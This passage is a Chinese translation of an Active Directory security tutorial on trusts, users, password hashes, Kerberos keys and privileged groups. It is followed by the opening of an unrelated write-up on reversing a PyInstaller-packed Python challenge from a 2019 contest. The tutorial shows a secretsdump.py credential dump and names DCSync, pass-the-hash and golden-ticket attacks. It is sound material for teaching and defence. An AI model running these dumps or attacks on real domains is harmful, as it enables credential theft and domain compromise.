domain to another](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc731335\(v=ws.10)).
信任不是物理网络连接，而是一种认证 / 授权连接。
你可能能够接触到网络上属于其他域的计算机，但你不能用这个域的用户登录到这些计算机上。这就是信任允许你做的事情。
### 信任方向（Trust direction）
信任是一种定向关系，其中一方是信任方（trusting），另一方是被信任方trusted）。当这种联系建立后，受信域的（trusted）用户可以访问信任域的（trusting）资源。
[信任方向](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc731404\(v=ws.10))与访问方向 **相反**
。你可以认为，如果你信任你的朋友，你就允许她进入你的房子，在她需要时吃你的食物。
> A 域信任 B 域：
(trusting) trusts (trusted)
Domain A --------------------> Domain B
outgoing incoming
outbound inbound
access
<--------------------
当一个信任指向你的域时，称为入站（Inbound）或传入（Incoming）信任。传入信任允许你的域用户访问对方的域。
信任方向反过来，则反之，其他域的用户可以访问你的域。
当两个域同时被传入和传出的信任所连接时，可以说它们被双向信任所连接（即使真的有两个信任）。
> 列出域信任关系：
PS C:\Users\Administrator> nltest /domain_trusts
List of domain trusts:
0: CONTOSO contoso.local (NT 5) (Direct Outbound) ( Attr: foresttrans )
1: ITPOKEMON it.poke.mon (NT 5) (Forest: 2) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )
2: POKEMON poke.mon (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully
这里我们可以看到，我们当前的域是 `poke.mon`（因为有 `Primary Domain` 属性），并且有几个信任。
对 `contoso.local` 的出站（Outbound）信任表明它的用户可以访问我们的域 `poke.mon`。
此外，还有一个与 `it.poke.mon` 的双向信任，它是 `poke.mon` 的一个子域，而且是在同一个林中。
> `contoso.local` 的信任关系：
PS C:\Users\Anakin> nltest /domain_trusts
List of domain trusts:
0: POKEMON poke.mon (NT 5) (Direct Inbound) ( Attr: foresttrans )
1: CONTOSO contoso.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully
因此，如果我们检查 `contoso.local` 的信任，我们可以看到一个来自 `poke.mon`
的入站（Inbound）信任，这与之前的信息一致。所以 `contoso.local` 的用户可以访问 `poke.mon`。
### 信任传递性（Trust transitivity）
此外，一个信任可以是传递的，也可以是非传递的。[trust can be transitive or
nontransitive](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc754612\(v=ws.10))
一个非传递的（nontransitive）信任只能由信任的双方，即信任方和被信任方使用。而传递性信任可以充当桥梁，用于与被传递性信任连接的域相连的第三域。
(trusting) trusts (trusted) (trusting) trusts (trusted)
Domain A -------------------> Domain B --------------------> Domain C
access access
<------------------- <--------------------
例如，如果域 A 与域 B 之间的信任是可传递的，那么域 C 的用户就可以访问域 A。如果域 A 与域 B 的信任 `Domain A --> Domain
B` 是不可传递的，那么域 C 的用户无法访问域 A，但是域 B 的用户仍然可以访问域 A。
因此，在同一林中的域关系中，所有的域用户都可以访问其他的域，因为所有的父域和子域都是通过双向的、可传递的信任连接的。这样一来，林中的任何域都可以穿越所需的信任来访问同一林中的其他域。
在一个林中，所有的根域、林根域之间都建立了双向的、可传递的信任关系，因此每一个域树的每一个域内的用户，只要有权限，就可以访问任意的其他域。
> `contoso.local` 林信任关系：
contoso.local
^ v v ^
.----' | | '----.
| .----' '----. |
^ v v ^
it.contoso.local hr.contoso.local
^ v
| |
^ v
webs.it.contoso.local
所以，`webs.it.contoso.local` 的用户要访问 `hr.contoso.local` 的计算机的话，必须穿过三个信任关系。
### 信任类型（Trust types）
在活动目录中，有几个用于不同目的的信任类型：
* **Parent-Child** ：父域和其子域之间创建的默认信任。
* **Forest** ：一个在林之间共享资源的信任。这样，林的任何域都可以访问另一个林的任何域（如果信任的方向和传递性允许的话）。如果一个林的信任被错误地配置了，那么它就可以允许[控制另一个林](http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/)。
* **External** ：一个信任连接到一个非信任林中的特定域。
* **Realm** ：一个特殊的信任来连接活动目录和一个非 Windows 域。
* **Shortcut** ：当林中的两个域经常通信但不直接连接时，你可以通过创建一个直接捷径信任来避免穿过许多信任。
### 信任密钥（Trust key）
从技术上讲，当你使用信任时，在你的域的域控制器和目标域（或中介域）的域控制器之间存在着一种通信。
如何进行通信取决于正在使用的协议（可能是 NTLM、Kerberos
等），但在任何情况下，域控需要共享一个密钥以保证通信安全。这个密钥被称为信任密钥（Trust key），它是在建立信任的时候创建的。
当一个信任被创建时，一个信任账户被创建在域数据库中，就像它是一个用户一样（名字以 `$` 结束）。然后，信任密钥被存储，就像它是信任用户的密码一样（NT
哈希和 Kerberos 密钥）。
### 更多的信任相关知识
要想知道信任如何在渗透中被利用，你可以查看下面的帖子（建议有一点 Kerberos 的知识再来阅读这些帖子）。
* [It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts](https://adsecurity.org/?p=1588)
* [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
* [Active Directory forest trusts part 1 – How does SID filtering work?](https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/)
* [Inter-Realm Key Roasting (well… within the first 30 days)](https://blog.xpnsec.com/inter-realm-key-roasting/)
* [Not A Security Boundary: Breaking Forest Trusts](http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/)
## 用户（Users）
使用活动目录的关键点之一是用户管理。每个组织都以不同的方式管理其用户，为他们设置名称格式，分配不同的权限等等。
在活动目录中，为了轻松地管理用户，它们以对象的形式存在中央数据库中，可以在域中的任意一个地方对其进行查询和操作（如果你有足够的权限）。
### 用户属性
**用户标识符（User Identifiers）**
用户对象存储了许多不同的数据，但首先要考虑的属性是那些允许我们识别一个用户的属性。
对于识别用户，通常使用用户名，它被存储在 **SamAccountName** 属性中。此外， **SID** （安全标识符，Security
Identifier）也可用于识别用户。
用户 SID 与域 SID 相似，事实上，是域 SID 加上用户 RID（相对标识符，Relative Identifier）的组合，RID 是出现在用户
SID 中的最后一个数字。
> 获取用户信息：
PS C:\Users\Anakin> Get-ADUser Anakin
DistinguishedName : CN=Anakin,CN=Users,DC=contoso,DC=local
Enabled : True
GivenName : Anakin
Name : Anakin
ObjectClass : user
ObjectGUID : 58ab0512-9c96-4e97-bf53-019e86fd3ed7
SamAccountName : anakin
SID : S-1-5-21-1372086773-2238746523-2939299801-1103
Surname :
UserPrincipalName : [email protected]
在这个例子中，域 SID 是 `S-1-5-21-1372086773-2238746523-2939299801`，用户的相对标识符 RID 是
`1103`。
一些工具在其输出中显示 SID，而不是用户名（因为它在一些结构中使用，如[安全描述符](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-security_descriptor)），所以你应该了解它的格式，以便识别它。
另外，`DistinguishedName` 被 LDAP API [用于识别对象](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names)，所以如果你使用 LDAP
查询数据库（这是最常见的方式之一），你可能会看到通过其`DistinguishedName` 对对象的引用。
**用户秘密**
此外，数据库还需要存储用户的秘密，以便让域控制器对用户进行认证。用户密码不是以明文形式存储的，但从它衍生出来的以下秘密被保存。
* NT 哈希（LM 哈希用于老账户）
* Kerberos 密钥
不用多说，非管理员用户不能获取到用户的秘密。甚至域内的计算机也不能访问它们，而是将认证工作留给域控制器。
为了获得用户秘密，你需要管理员权限（或同等权限），用 dcsync 攻击或从域控制器上抓取 `C:\Windows\NTDS\ntds.dit`
文件来转储域数据库。
**LM / NT 哈希**
[LM 和 NT 哈希值](https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4)同时存储在 Windows 本地
[SAM](https://en.wikipedia.org/wiki/Security_Account_Manager) 和活动目录 NTDS
数据库中，以分别验证本地和域的用户。这些哈希值，无论是 LM 还是 NT 都是16字节长。
> 一个密码的 LM 和 NT 哈希：
Password: 123456
LM hash: 44EFCE164AB921CAAAD3B435B51404EE
NT hash: 32ED87BDB5FDC5E9CBA88547376818D4
然而，[LM
哈希值相当弱](https://en.wikipedia.org/wiki/LAN_Manager#Security_weaknesses)，所以从
Windows Vista/Server 2008 开始就不使用它们了。[创建 LM
哈希值的步骤](https://asecuritysite.com/encryption/lmhash)如下：
1. 将用户密码转换成大写字母。（这就减少了暴力破解的搜索空间）
2. 如果用户密码少于 14 个字符，则用 NULL 字符填充，直到长度为 14。如果密码超过 14 个字符，就会被截断。（超过 14 个字符的密码是没有用的）
3. 然后，密码被分割成两个字符串，每个字符串为 7 字节。
4. 每个 7 字节的字符串被用作密钥，使用 DES 加密算法对 `KGS!+#$%` 字符串进行加密。这就产生了两个哈希值。
5. 由此产生的两个值被连接起来，以形成 LM 哈希值。（你可以分别破解每个部分）
> LM 哈希计算伪代码：
upper_password = to_uppercase(password)
14_password = truncate_to_14_bytes(upper_password)
7_part1, 7_part2 = split_7(14_password)
hash1 = des(7_part1, "KGS!+#$%")
hash2 = des(7_part2, "KGS!+#$%")
lm_hash = hash1 + hash2
另一方面，NT
哈希值更强一些，但没有使用[盐](https://en.wikipedia.org/wiki/Salt_\(cryptography))来计算它，所以它可以通过使用预先计算的值（如[彩虹表](https://en.wikipedia.org/wiki/Rainbow_table)）进行破解。
如果你感到好奇，NT
哈希值是通过将[MD4](https://en.wikipedia.org/wiki/MD4)算法（该算法[已过时](https://tools.ietf.org/html/rfc6150)）直接应用于用户密码的
Unicode 版本（特别是 UTF-16LE 编码）来计算的。
> NT 哈希计算伪代码：
nt_hash = md4(encode_in_utf_16le(password))
> 很多时候，NT 哈希值被称为 NTLM 哈希值，然而这可能会引起混淆，因为 NTLM 协议也使用哈希值，称为 NTLM 哈希值。在本文中，NTLM
> 哈希将是 NTLM 协议的哈希。
许多工具允许你提取 LM 和 NT 哈希值，它们通常会返回几行输出，每个用户一行，格式为 `<username>:<rid>:<LM>:<NT>:::`。
如果 LM 没有被使用，它的值将是`aad3b435b51404eeaad3b435b51404ee`（空字符串的 LM 散列）。
> Dump 哈希的格式：
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
识别 NT 哈希对渗透人员来说非常重要，因为即使它们不是用户的密码，也能用于 Windows 机器的认证，所以它们非常有用。它们可以用来进行 Pass-The-Hash 或 Overpass-the-Hash 攻击，以冒充远程机器上的用户。
此外，你可以尝试用 [hashcat](https://hashcat.net/) 破解 LM 和 NT 哈希值来恢复原始密码。如果你运气好，存在 LM
的哈希值，这应该是很快的。
**Kerberos 密钥**
除了 LM / NT 哈希值之外，还存储了 **Kerberos 密钥** ，它来自用户密码，用于 Kerberos 认证协议。
Kerberos 密钥可以用来要求在 Kerberos 认证中代表用户的 Kerberos 票据。有几种不同的密钥，不同的密钥用于不同的 Kerberos
加密支持：
* AES 256 密钥：使用 [AES256-CTS-HMAC-SHA1-96](https://tools.ietf.org/html/rfc3962) 算法。这是 Kerberos 常用的一种，也是渗透人员应该使用的一种，以避免触发警报。
* AES 128 密钥：使用 [AES128-CTS-HMAC-SHA1-96](https://tools.ietf.org/html/rfc3962) 算法。
* DES 密钥：使用 [废弃的](https://datatracker.ietf.org/doc/html/rfc6649) [DES-CBC-MD5](https://datatracker.ietf.org/doc/html/rfc3961#section-6.2.1) 算法。
* RC4 密钥：这是 [RC4-HMAC](https://tools.ietf.org/html/rfc4757) 算法所使用的用户的 NT 哈希值。
> 从域数据库中提取 Kerberos 密钥：
$ secretsdump.py 'contoso.local/[email protected]' -just-dc-user anakin
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
contoso.local\anakin:1103:aad3b435b51404eeaad3b435b51404ee:cdeae556dc28c24b5b7b14e9df5b6e21:::
[*] Kerberos keys grabbed
contoso.local\anakin:aes256-cts-hmac-sha1-96:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e
contoso.local\anakin:aes128-cts-hmac-sha1-96:18fe293e673950214c67e9f9fe753198
contoso.local\anakin:des-cbc-md5:fbba85fbb63d04cb
[*] Cleaning up...
这些 key 可以用于 [Pass-The-Key](https://zer1t0.gitlab.io/posts/attacking_ad/#pass-the-key) 攻击，获取一个仿冒用户的票据，然后你可以使用这个 Kerberos 票据代表此用户去认证不同的域内服务。
**UserAccountControl**
用户类的一个有趣的属性是 [UserAccountControl](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties)（不要把它与用户账户控制机制 UAC 混淆，以避免在 Windows 机器中执行高权限程序）。
UserAccountControl 属性包含了一系列与安全和域非常相关的标志，并在本文章提到的许多攻击中使用。下面是最相关的：
* **ACCOUNTDISABLE** ：帐户被禁用，无法使用。
* **DONT_REQUIRE_PREAUTH** ：该账户不需要 Kerberos 预认证。
* **NOT_DELEGATED** ：这个账户不能通过 Kerberos 委派来进行委派。
* **TRUSTED_FOR_DELEGATION** ：该账户及其服务启用了 Kerberos 非约束委派。[SeEnableDelegationPrivilege](http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/) 需要修改。
* **TRUSTED_TO_AUTH_FOR_DELEGATION** ：该账户及其服务启用了 S4U2Self 扩展。[SeEnableDelegationPrivilege](http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/) 需要修改。
**其他的用户属性**
一些渗透中非常有用的用户属性：
* [Description](https://docs.microsoft.com/en-us/windows/win32/adschema/a-description)：用户的描述。它可以提供一个关于用户权限的 idea，有时甚至包括密码。
* [AdminCount](https://docs.microsoft.com/en-us/windows/win32/adschema/a-admincount)：表示用户（或组）是否受到 [AdminSDHolder](https://adsecurity.org/?p=1906) 对象的保护，或已经被保护。因为有时不更新，所以只作为参考使用。
* **MemberOf** ：用户是其成员的组。这个属性是逻辑性的，是由组的成员属性生成的。
* [PrimaryGroupID](https://docs.microsoft.com/en-us/windows/win32/adschema/a-primarygroupid)：用户的主要组别。这个组不会出现在 MemberOf 属性中。
* [ServicePrincipalName](https://docs.microsoft.com/en-us/windows/win32/adschema/a-serviceprincipalname)：用户的服务。对 Kerberoast 攻击有用。
* [msDS-AllowedToDelegateTo](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/86261ca1-154c-41fb-8e5f-c6446e77daaa)：用户（和它自己的服务）可以使用 Kerberos 约束委派冒充 client 的服务列表。[SeEnableDelegationPrivilege](http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/) 需要修改。
### 重要的用户
要查询用户，有几个选项，如 `net user /domain` 命令，或 Powershell。不需要有特殊的权限来列出用户，任何用户都可以这样做。
> 列用户：
PS C:\Users\Anakin> Get-ADUser -Filter * | select SamAccountName
SamAccountName
-------------- Administrator
Guest
krbtgt
anakin
han
POKEMON$
正如你可能注意到的，我的测试域只有很少的用户，但在真正的环境中，会有成百上千的用户。因此，区分哪些是真正重要的用户应该是很重要的。这可能有点棘手，因为这取决于组织，但通常
IT 团队的成员都有特权用户，他们需要特权用户来做他们的工作。
默认情况下， **内置的 Administrator 用户是域中最有特权的账户**
。它可以在任何计算机中执行任何操作。因此，如果你能够拿下这个账户，你就可以完全控制该域（甚至通过使用 [SID History
攻击](https://adsecurity.org/?p=1640)来控制林）。
此外， krbtgt 帐户也非常重要，它的秘密（NT 哈希值和 Kerberos 密钥）用于加密 Kerberos 所使用的票据（特别是
TGT），以便对用户进行认证。如果你能够攻破 krbtgt
账户，你将能够创建黄金票据。通常，这个账户只能通过转储域数据库来入侵，因为它只在域控制器中使用，这需要你在域中有管理员权限。
### 计算机账户
另一件需要考虑的事情是，在一个组织中，每个人都有自己的用户，甚至某些人，如 IT 部门，可以有多个用户来执行不同的任务。此外，
**域中的每台计算机也有自己的用户** ，因为它们也需要在域中执行自己的操作。
用户账户和计算机账户的区别在于，前者在数据库中被存储为[用户类](https://docs.microsoft.com/en-us/windows/win32/adschema/c-user)的实例，而后者则被存储为[计算机类](https://docs.microsoft.com/en-us/windows/win32/adschema/c-computer)的实例（它是用户类的一个子类）。
此外，计算机账户名称是以美元符号`$`结尾的计算机主机名。
> 获取域内的所有用户：
PS C:\> Get-ADObject -LDAPFilter "objectClass=User" -Properties SamAccountName | select SamAccountName
SamAccountName
-------------- Administrator
Guest
DC01$
krbtgt
anakin
WS01-10$
WS02-7$
DC02$
han
POKEMON$
正如你所看到的，比使用 `Get-ADUser` 命令的用户要多得多，因为现在包含了 User
类的子类。你可以体会到，新账户以美元符号结尾，似乎有一个计算机名称。例如，`DC01$` 和 `DC02$` 代表域控制器，`WS01-10$`
和`WS02-7$` 代表工作站。
此外，计算机对象还保存了关于其操作系统的信息，这些信息可以从属性 `OperatingSystem` 或 `OperatingSystemVersion`
中获取到。
此外，许多组织都有选择计算机和用户名称的规则，所以如果你能够理解这些名称，你就可以知道计算机和用户账户的使用情况，以及哪些账户可以有特权或对敏感信息的访问权限。此外，你还可以检查对象的其他属性，如
`Description`，以便在那里找到更多的信息（甚至是明文密码）。对于这个目的，[Powerview](https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1)
的 Find-DomainObjectPropertyOutlier Cmdlet 很有用。
### 信任账户（Trust accounts）
然而，还有一个 `POKEMON$` 账户出现在 Get-ADUser 和 Get-ADObject 中，但其名称以美元符号结尾。
这可能是正常的用户（创建以 $ 结尾的用户名没有问题），正如我们之前看到的，poke.mon 域名存在信任关系。
当建立信任时，在每个域中都会创建一个相关的用户对象来存储信任密钥（trust key）。用户的名称是另一个域的 NetBIOS 名称，以 $
结束（类似于计算机账户名）。例如，在 FOO 域和 BAR 域之间建立信任的情况下，FOO 域将在 `BAR$` 用户中存储信任密钥，而 BAR 域将在
`FOO$` 用户中存储它。
> 列出域内的信任用户：
PS C:\> Get-ADUser -LDAPFilter "(SamAccountName=*$)" | select SamAccountName
SamAccountName
-------------- POKEMON$
这个 `POKEMON$` 用户对象被用来存储信任密钥，它是 NT 哈希或 Kerberos
密钥（根据上下文使用其中之一）。如果你能得到这个账户的秘密，你就可以创建[跨域 Kerberos
票据](https://adsecurity.org/?p=1588)。
## 组（Groups）
但是，如果没有分组，用户的管理就会很麻烦。想象一下，你有一个需要访问高度敏感文件的经理部门。你应该给每个经理逐一授予权限吗？很多工作你可以处理，因为每年只增加一个新经理。但现在政策改变了，经理们也应该能够访问人力资源部门的文件。你应该一个一个地改变所有经理的权限吗？不，那是太多的工作，而且是相当无聊的。
解决办法是使用组。在这种情况下，你可以有一个“经理”组，将经理用户加入其中，当政策发生变化时，你必须为该组增加或删除权限。
和用户一样，组也被存储在域数据库中。而且以同样的方式，它们可以通过 `SamAccountName` 属性或 SID 来识别。
> 列出域内的组：
PS C:\Users\Anakin> Get-ADGroup -Filter * | select SamAccountName
SamAccountName
-------------- Administrators
Users
Guests
<-- stripped output -->
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
<-- stripped output -->
Protected Users
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
DHCP Users
DHCP Administrators
### 重要的组
**管理组**
在活动目录中，有许多默认组定义为域 /
林中的不同角色。作为攻击者，最重要的组之一是域管理员组，该组为其成员在域中提供管理员权限，因此了解谁是这个组的很重要。
> 获取域管理员组信息：
PS C:\Users\Anakin> Get-ADGroup "Domain Admins" -Properties members,memberof
DistinguishedName : CN=Domain Admins,CN=Users,DC=contoso,DC=local
GroupCategory : Security
GroupScope : Global
MemberOf : {CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local,
CN=Administrators,CN=Builtin,DC=contoso,DC=local}
Members : {CN=Administrator,CN=Users,DC=contoso,DC=local}
Name : Domain Admins
ObjectClass : group
ObjectGUID : ac3ac095-3ea0-4922-8130-efa99ba99afa
SamAccountName : Domain Admins
SID : S-1-5-21-1372086773-2238746523-2939299801-512
但也有其他重要的组，可以给你很多特权，还有的甚至更多。这就是[企业管理员](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-entadmins)组 `Enterprise Admins` 的情况，它在所有林中提供管理员权限。
企业管理员 `Enterprise Admins`是一个只存在于林根域中的组，但默认情况下被添加到林中所有域的管理员组中。
另一方面，域管理员组 `Domain Admins` 被添加到域的管理员组 `Administrators`，以及域计算机的管理员组
`Administrators`中。
> 林中的管理员组成员资格：
.------------------------.
| contoso.local |
.-------------------------------------------------------------.
| |
| .----------------. |
| .-->| Administrators |<-. .->Administrators |
| | '----------------' | | ____ |
| | .---------------. | | | | |
| | | Domain Admins |>-'---' |____| |
| | '---------------' /::::/ |
| | .-------------------. |
| '--<| Enterprise Admins | |
| '-------------------' |
| v v |
'-----------------------------|-|-----------------------------'
| | | |
| | | |
.---------' | | '-----------.
| v v |
.----------------------------------. | | .----------------------------------.
| it.contoso.local | | | | hr.contoso.local |
|----------------------------------| | | |----------------------------------|
| | v v | |
| .----------------. | | | | .----------------. |
| .->| Administrators |<---------' '--------->| Administrators |<-. |
| | '----------------' | | '----------------' | |
| | .---------------. | | .---------------. | |
| '-<| Domain Admins | | | | Domain Admins |>--' |
| '---------------' | | '---------------' |
| | | | | |
| .-------'---------. | | .-------'---------. |
| | | | | | | |
| v v | | v v |
| Administrators Administrators | | Administrators Administrators |
| ____ ____ | | ____ ____ |
| | | | | | | | | | | |
| |____| |____| | | |____| |____| |
| /::::/ /::::/ | | /::::/ /::::/ |
'----------------------------------' '----------------------------------'
**其他重要的组**
还有其他的[重要组](https://adsecurity.org/?p=3700)需要考虑：
* DNSAdmins[DNSAdmins](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-dnsadmins) 组可以允许其成员通过使用任意的 DLL 在域控制器中以 SYSTEM 身份[执行代码](https://www.semperis.com/blog/dnsadmins-revisited/)。
* Protected Users[Protected Users](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) 组强制执行账户的安全性措施。他们的成员不允许：
* 用 NTLM 认证（只有Kerberos）；
* 在 Kerberos 预认证中使用 DES 或 RC4 加密类型；
* 用非约束委派或约束委派；
* 超过最初的四小时寿命后更新 Kerberos TGT；
这可以阻止通过 [NTLM relay](https://en.hackndo.com/ntlm-relay/) 或 [Kerberos
委派攻击](https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/)滥用这些账户的企图。
* Schema Admins[Schema Admins](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#schema-admins) 可以修改 Active Directory 数据库的架构。
* Account Operators[Account Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-accountoperators) 组可以修改域的许多组的成员，不包括许多管理员组，但是可以修改 Server Operators group。
* Backup Operators[Backup Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#backup-operators) 的成员可以备份和恢复域控制器中的文件（他们也可以登录到域控制器）。这可以允许修改域控制器中的文件。
* Print Operators[Print Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#print-operators) 可以登录到域控制器。
* Server Operators[Server Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#server-operators) 可以登录到域控制器并且管理它的配置。
* Remote Desktop Users[Remote Desktop Users](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-remotedesktopusers) 的成员可以通过 RDP 登录到域控制器。
* Group Policy Creator Owners[Group Policy Creator Owners](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#group-policy-creator-owners) 的成员可以编辑域中的 GPOs。
在微软的[文档](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#replicator)中还描述了许多其他组。许多组织添加了自定义组，这些组也可能是非常有特权的，比如 IT 成员使用的组。
此外，许多软件（尤其是微软的软件）都会添加自己的管理组。例如 Exchange
可以添加[特权组](https://adsecurity.org/?p=4119)，如`Exchange Windows
Permissions`，可以让用户进行 DCSync 攻击（如果没有正确更新）。
### 组范围
在活动目录中，根据其[范围](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#group-scope)有三种不同类型的组。了解它们就能理解如何管理域和林：
* **通用组** ，Universal groups，可以有来自同一林的成员，并在同一林或受信任林中授予权限。企业管理员组 `Enterprise Admins` 是通用组的一个例子。
* **全局组** ，Global groups，只能有同一域的成员，并在同一林的域或信任域或林中授予权限。域管理员组 `Domain Admins` 是全局组的一个例子。
* **DomainLocal groups** 可以有来自本域或任何受信任域的成员，并且只在其域内授予权限。`Administrators` 组是 `DomainLocal` 组的一个例子。
除此之外，你还应该知道，域组（和域用户）可以是计算机本地组的成员。例如，默认情况下，域管理员组 `Domain Admins` 被添加到机器的
Administrators 本地组中。 | 社区文章 |
# 安恒2019一月赛二进制赛题解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 好久没打安恒的月赛了，碰巧今天有空，就做了下二进制的几道题目，总体难度不是很大，还好没有触及到我的知识盲区Orz。
## reverse
### 来玩蛇吧
这题给了2个文件，一个`exe`和一个`pyc`，结合图标和题目意思，我好像明白了什么，估计是`python`的逆向题。
以前也做过这种类型的题，但是很久没做，有点生疏了，主要是要知道这个程序是`python`写的，并且用打包器制作成可执行文件的。直接上网搜索`python`打包器就能找到这个工具的名字叫做`PyInstaller`，根据[Pcat的博客描述](https://www.cnblogs.com/pcat/p/8990482.html)，我们可以使用`PyInstaller
Extractor`来提取可执行文件的资源内容。这个脚本网上也很容易能下载。
需要注意的是，当我们开始提取文件的时候，需要和编写的`python`的程序版本一致，由于我本机只有`python2`的环境，提取资源的时候，就会发生错误，如下图所示。
由于`PyInstaller
Extractor`兼容`python2`和`3`，在`python3`环境下即可提取资源进行逆向分析。这样我们就能提取到一堆文件了，如下表所示。
_bz2.pyd*
_hashlib.pyd*
_lzma.pyd*
_socket.pyd*
_ssl.pyd*
AnhengRe
AnhengRe.exe.manifest
api-ms-win-core-console-l1-1-0.dll*
api-ms-win-core-datetime-l1-1-0.dll*
api-ms-win-core-debug-l1-1-0.dll*
api-ms-win-core-errorhandling-l1-1-0.dll*
api-ms-win-core-file-l1-1-0.dll*
api-ms-win-core-file-l1-2-0.dll*
api-ms-win-core-file-l2-1-0.dll*
api-ms-win-core-handle-l1-1-0.dll*
api-ms-win-core-heap-l1-1-0.dll*
api-ms-win-core-interlocked-l1-1-0.dll*
api-ms-win-core-libraryloader-l1-1-0.dll*
api-ms-win-core-localization-l1-2-0.dll*
api-ms-win-core-memory-l1-1-0.dll*
api-ms-win-core-namedpipe-l1-1-0.dll*
api-ms-win-core-processenvironment-l1-1-0.dll*
api-ms-win-core-processthreads-l1-1-0.dll*
api-ms-win-core-processthreads-l1-1-1.dll*
api-ms-win-core-profile-l1-1-0.dll*
api-ms-win-core-rtlsupport-l1-1-0.dll*
api-ms-win-core-string-l1-1-0.dll*
api-ms-win-core-synch-l1-1-0.dll*
api-ms-win-core-synch-l1-2-0.dll*
api-ms-win-core-sysinfo-l1-1-0.dll*
api-ms-win-core-timezone-l1-1-0.dll*
api-ms-win-core-util-l1-1-0.dll*
api-ms-win-crt-conio-l1-1-0.dll*
api-ms-win-crt-convert-l1-1-0.dll*
api-ms-win-crt-environment-l1-1-0.dll*
api-ms-win-crt-filesystem-l1-1-0.dll*
api-ms-win-crt-heap-l1-1-0.dll*
api-ms-win-crt-locale-l1-1-0.dll*
api-ms-win-crt-math-l1-1-0.dll*
api-ms-win-crt-process-l1-1-0.dll*
api-ms-win-crt-runtime-l1-1-0.dll*
api-ms-win-crt-stdio-l1-1-0.dll*
api-ms-win-crt-string-l1-1-0.dll*
api-ms-win-crt-time-l1-1-0.dll*
api-ms-win-crt-utility-l1-1-0.dll*
base_library.zip
out00-PYZ.pyz
out00-PYZ.pyz_extracted/
pyexpat.pyd*
pyiboot01_bootstrap
pyimod01_os_path
pyimod02_archive
pyimod03_importers
'pyi-windows-manifest-filename AnhengRe.exe.manifest'
python36.dll*
select.pyd*
struct
ucrtbase.dll*
unicodedata.pyd*
VCRUNTIME140.dll*
那么接下来我们需要知道哪些是外部的库函数，哪些是程序本身的部分。那么很明显，`dll`都是`windows`下的动态链接库，而`pyd`也是`python`的动态链接库（`python
dll`），除去这些文件和一些清单文件外，再结合文件名，很容易就能找到`AnhengRe`这个文件，应该就是我们所需要的。
接下来这一步就是分析这个文件是什么格式。一般的思路就是通过`file`命令或者`binwalk`进行解析，再或者通过`strings`来查看字符串。如下所示。
$ file AnhengRe
AnhengRe: data
$ strings AnhengRe
Tell me your name?z
Tell me your pasw
9f1ff1e8b5b91110
c4e21c11a2412
wrong
AnHeng
Congratulations
flag
pause
flag{
no,)
input
range
print
system
AnhengRe.py
<module>
从我自己角度来说，我立马判断这就是一个`pyc`程序了，因为这些字符串特征很明显，没有加密混淆，也出现了`AnhengRe.py`和`module`这样的字样。但是用`010editor`分析后发现文件头不满足`pyc`的格式，于是我猜想头部数据被修改了。经过多次实验和对比，最终发现头部的12字节被剔除了。然后进行补齐即可，忽略时间戳。
